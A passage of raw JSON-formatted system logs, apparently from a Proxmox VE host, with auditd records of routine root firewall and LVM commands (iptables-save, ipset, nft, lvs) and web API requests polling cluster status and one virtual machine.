success=yes exit=0 a0=56c9ba17bac8 a1=7ffe52a77720 a2=56c9c3f91680 a3=56c9ba15f24e items=2 ppid=58324 pid=58326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965876755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.073:64372): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4f9829c0 a1=61cec1c10310 a2=61cec1c09680 a3=5 items=2 ppid=61846 pid=61847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455159,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.159:65691): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964375248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.248:60750): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe52a776e0 a1=56c9c3f98310 a2=56c9c3f91680 a3=5 items=2 ppid=58324 pid=58325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875720,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.069:64370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.151:65690): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964375244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.244:60748): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874732,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965146055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.055:64369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61845 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455145,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.145:65688): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964375237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.237:60747): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965146043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.043:64368): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61844 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.139:65687): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964375231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.231:60746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965873724,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965146036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.036:64367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.133:65686): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964375226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.226:60745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965873724,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965146027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.027:64366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.125:65685): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964375220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.220:60744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecba2b2700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965871809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781965146022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.022:64365): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d769a70b740 items=0 ppid=1156 pid=61841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965455120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.120:65684): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964375214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.214:60743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd4f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965871809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965146017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.017:64364): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f9160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455114,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.114:65683): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964374563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.563:60742): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417640 a1=64f8d740f430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965871809,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965146009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.009:64363): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455106,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.106:65682): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964374529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.529:60741): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1330070 a1=64f8d73de840 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965871809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781965146005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.005:64362): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455094,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.094:65681): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964374121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.121:60740): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869804,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965145999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.999:64361): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a3c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455089,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.089:65680): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964374099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.099:60737): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869804,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965145994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.994:64360): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.086:65679): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.089:60734): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965869804,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781965145984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.984:64359): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e1bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.084:65678): argc=1 a0=\"date\""} {"@timestamp":1781964369085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.085:60731): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965868673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781965145975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.975:64358): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.079:65676): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964366203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.203:60728): arch=c000003e syscall=59 success=yes exit=0 a0=5cd09280bed0 a1=5cd092808c50 a2=5cd0927ea680 a3=5 items=2 ppid=58304 pid=58310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965868673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781965145957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.957:64357): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.071:65675): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964366199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.199:60727): arch=c000003e syscall=59 success=yes exit=0 a0=5cd0872b4ac8 a1=7fff4d1c0d20 a2=5cd0927ea680 a3=5cd08729824e items=2 ppid=58304 pid=58306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965868673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965145954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.954:64356): arch=c000003e syscall=59 success=yes exit=0 a0=641ebd5810e0 a1=641ebd57de60 a2=641ebd55f680 a3=5 items=2 ppid=61827 pid=61833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455062,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.062:65674): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964366198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.198:60726): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4d1c0ce0 a1=5cd0927f1310 a2=5cd0927ea680 a3=5 items=2 ppid=58304 pid=58305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965867690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965145948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.948:64355): arch=c000003e syscall=59 success=yes exit=0 a0=641e8c2beac8 a1=7ffc68b58040 a2=641ebd55f680 a3=641e8c2a224e items=2 ppid=61827 pid=61829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.056:65673): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964366193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.193:60724): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965867690,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.939:64354): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc68b58000 a1=641ebd57cd50 a2=641ebd55f680 a3=5 items=2 ppid=61827 pid=61828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455047,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.047:65672): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964366185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.185:60723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965865784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.935:64352): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455039,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.039:65671): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964366177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.177:60722): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58302 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965865784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965145925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.925:64351): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965454590,"@rawstring":"node=pve type=EXECVE msg=audit(1781965454.590:65670): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964366165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.165:60721): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965865784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781965145914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.914:64350): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965454567,"@rawstring":"node=pve type=EXECVE msg=audit(1781965454.567:65669): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964366152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.152:60720): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965864770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965145910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.910:64349): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fb6d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965453.054:65668): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964366143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.143:60719): arch=c000003e 